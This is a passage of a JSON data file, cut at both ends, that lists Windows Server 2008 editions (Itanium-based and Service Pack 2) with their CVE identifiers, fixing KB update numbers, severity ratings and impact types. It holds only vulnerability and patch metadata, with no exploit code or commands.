Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038874\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4039038\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056615\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056759\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4101477\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4056564\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093478\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4131188\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4134651\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4458010\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467706\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467706\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4134651\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480968\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0708\",\"kb\":\"4499149\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0808\",\"kb\":\"4489880\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493471\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530695\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534303\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537810\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4541506\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550951\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556860\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556860\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571730\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571730\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003210\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003210\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003661\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-36942\",\"kb\":\"5005090\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005563\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006736\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-20569\",\"kb\":\"5029318\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025271\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026408\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-31096\",\"kb\":\"5073697\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028222\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041850\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043135\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048710\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053888\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053888\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055609\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058449\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058449\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5061026\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063888\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063888\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows Server 2008 for Itanium-Based Systems\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Windows Server 2008 for Itanium-Based Systems Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3103\",\"kb\":\"975517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981349\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418240\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3972\",\"kb\":\"2489256\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518870\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3906\",\"kb\":\"2901674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2898855\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4114\",\"kb\":\"3000869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3023562\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2426\",\"kb\":\"3079904\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2433\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3078601\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3087985\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3084135\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3087039\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3088195\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3097877\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3108381\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3104002\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3121212\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3110329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3126593\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3134814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3139914\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3158991\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3167679\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198234\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012497\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0101\",\"kb\":\"4011981\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012598\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0199\",\"kb\":\"4014793\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4018556\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019204\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4041671\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4052303\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4021903\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8469\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8472\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022887\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8488\",\"kb\":\"4022010\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022013\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4022748\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8680\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4039384\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8684\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8685\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4039384\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038874\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8710\",\"kb\":\"4039038\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056615\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056759\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4101477\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4056564\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4089229\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093478\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8120\",\"kb\":\"4131188\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4134651\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4458010\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4463097\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467706\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467706\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4134651\",\"severity\":\"Important\",\"impact\":\"Elevation of 